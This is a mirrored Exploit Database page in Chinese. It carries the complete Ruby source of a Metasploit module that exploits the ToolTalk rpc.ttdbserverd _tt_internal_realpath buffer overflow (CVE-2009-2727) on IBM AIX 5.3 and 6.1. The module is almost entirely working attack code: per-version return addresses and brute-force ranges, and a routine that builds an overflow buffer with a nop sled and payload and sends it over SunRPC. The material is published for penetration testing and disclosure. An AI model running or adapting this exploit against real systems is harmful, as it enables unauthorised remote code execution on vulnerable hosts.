ToolTalk – rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX) (Metasploit)

• Exploit Database
• 27 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • remote
  平台：

  • aix
• 来源：https://www.exploit-db.com/exploits/16930/

• ##
  # $Id: rpc_ttdbserverd_realpath.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::SunRPC
  	include Msf::Exploit::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability in _tt_internal_realpath
  				function of the ToolTalk database server (rpc.ttdbserverd).
  			},
  			'Author' =>
  				[
  					'Adriano Lima <adriano@risesecurity.org>',
  					'ramon'
  				],
  			'Version'=> '$Revision: 10998 $',
  			'Platform' => [ 'aix' ],
  			'References' =>
  				[
  					[ 'CVE', '2009-2727'],
  					[ 'OSVDB', '55151' ]
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  				},
  			'Targets'=>
  				[
  					[
  						'IBM AIX Version 6.1.4',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20099430+4096,
  							'Addr1'=> 0x2ff1ff50-8192,
  							'AIX'=> '6.1.4',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20099430-8192 },
  								'Stop'=> { 'Ret' => 0x20099430+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 6.1.3',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20099280+4096,
  							'Addr1'=> 0x2ff1ffd0-8192,
  							'AIX'=> '6.1.3',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20099280-8192 },
  								'Stop'=> { 'Ret' => 0x20099280+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 6.1.2',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20099280+4096,
  							'Addr1'=> 0x2ff1ffd0-8192,
  							'AIX'=> '6.1.2',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20099280-8192 },
  								'Stop'=> { 'Ret' => 0x20099280+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 6.1.1',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20099280+4096,
  							'Addr1'=> 0x2ff1ffd0-8192,
  							'AIX'=> '6.1.1',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20099280-8192 },
  								'Stop'=> { 'Ret' => 0x20099280+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 6.1.0',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20099280+4096,
  							'Addr1'=> 0x2ff1ffd0-8192,
  							'AIX'=> '6.1.0',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20099280-8192 },
  								'Stop'=> { 'Ret' => 0x20099280+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20096ba0+4096,
  							'Addr1'=> 0x2ff1ff14-8192,
  							'AIX'=> '5.3.9',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20096ba0-8192 },
  								'Stop'=> { 'Ret' => 0x20096ba0+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 5.3.10',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20096bf0+4096,
  							'Addr1'=> 0x2ff1ff14-8192,
  							'AIX'=> '5.3.10',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20096bf0-8192 },
  								'Stop'=> { 'Ret' => 0x20096bf0+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 5.3.9',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20096ba0+4096,
  							'Addr1'=> 0x2ff1ff14-8192,
  							'AIX'=> '5.3.9',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20096ba0-8192 },
  								'Stop'=> { 'Ret' => 0x20096ba0+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 5.3.8',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20096c10+4096,
  							'Addr1'=> 0x2ff1ff98-8192,
  							'AIX'=> '5.3.8',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20096c10-8192 },
  								'Stop'=> { 'Ret' => 0x20096c10+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'IBM AIX Version 5.3.7',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0x20096c10+4096,
  							'Addr1'=> 0x2ff1ff98-8192,
  							'AIX'=> '5.3.7',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x20096c10-8192 },
  								'Stop'=> { 'Ret' => 0x20096c10+8192 },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'Debug IBM AIX Version 6.1',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0xaabbccdd,
  							'Addr1'=> 0xddccbbaa,
  							'AIX'=> '6.1.4',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0xaabbccdd },
  								'Stop'=> { 'Ret' => 0xaabbccdd },
  								'Step'=> 1024
  							}
  						}
  					],
  					[
  						'Debug IBM AIX Version 5.3',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'Ret'=> 0xaabbccdd,
  							'Addr1'=> 0xddccbbaa,
  							'AIX'=> '5.3.10',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0xaabbccdd },
  								'Stop'=> { 'Ret' => 0xaabbccdd },
  								'Step'=> 1024
  							}
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 17 2009'))
  
  	end
  
  	def brute_exploit(brute_target)
  
  		if not @aixpayload
  			datastore['AIX'] = target['AIX']
  			@aixpayload = regenerate_payload.encoded
  		end
  
  		print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])
  
  		begin
  
  			sunrpc_create('tcp', 100083, 1)
  
  			if target['AIX'] =~ /6\./
  				buf = "A"
  			else
  				buf = "AA"
  			end
  
  			buf << [target['Addr1']].pack('N') * (1022 + 8)
  			buf << [brute_target['Ret']].pack('N') * 32
  
  			if target['AIX'] =~ /6\./
  				buf << "AAA"
  			else
  				buf << "AA"
  			end
  
  			buf << "\x7f\xff\xfb\x78" * 1920
  			buf << @aixpayload
  			buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
  
  			print_status('Sending procedure 15 call message...')
  			sunrpc_call(15, buf)
  
  			sunrpc_destroy
  			handler
  
  		rescue Rex::Proto::SunRPC::RPCTimeout
  			# print_error('RPCTimeout')
  		rescue EOFError
  			# print_error('EOFError')
  		end
  	end
  
  end